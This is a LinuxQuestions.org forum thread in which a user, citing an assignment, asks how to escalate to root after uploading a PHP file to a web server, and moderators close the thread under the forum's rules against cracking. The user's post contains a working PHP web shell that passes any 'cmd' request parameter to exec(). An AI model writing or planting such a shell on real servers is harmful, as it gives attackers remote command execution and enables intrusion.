LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Linux - Security (http://www.linuxquestions.org/questions/linux-security-4/)
-   -   Privilege Escalation - Getting 'root' privilege (http://www.linuxquestions.org/questions/linux-security-4/privilege-escalation-getting-root-privilege-847796/)

Rahil Parikh 12-01-2010 07:15 PM

Privilege Escalation - Getting 'root' privilege
 
Hi,

Currently as a part of an assignment I need to implement a reverse shell on a linux system. The system details are -

Quote:

Linux Kernal Version - 2.6
Database - MySQL
Using web-server I could upload a php file which could execute the command on behalf of me. Now, I want to get root access so that I can get access to system's core files.

My sample php file -

PHP Code:

<?php
    
if((!empty($_GET['cmd']) && isSet($_GET['cmd'])))
        {
            echo 
exec('whoami').'@'.exec('hostname').':'.exec('pwd').'$'.' '.$_GET['cmd'];
            echo 
'<p></p>';
            echo 
exec($_GET['cmd']);
        }
?>

Thanks,
Rahil

John VV 12-01-2010 08:25 PM

please read the forum rules and then
http://www.ethicalhacker.net/

unSpawn 12-02-2010 01:04 AM

Per the LQ Rules, please do not post homework assignments verbatim. We're happy to assist if you have specific questions or have hit a stumbling point, however. Let us know what you've already tried and what references you have used (including class notes, books, and Google searches) and we'll do our best to help. Also, keep in mind that your instructor might also be an LQ member.

More importantly though any posts containing information about cracking or any topic that could be damaging to either LinuxQuestions.org or any third party are a violation of the LQ Rules.

Thread closed.


All times are GMT -5. The time now is 02:49 PM.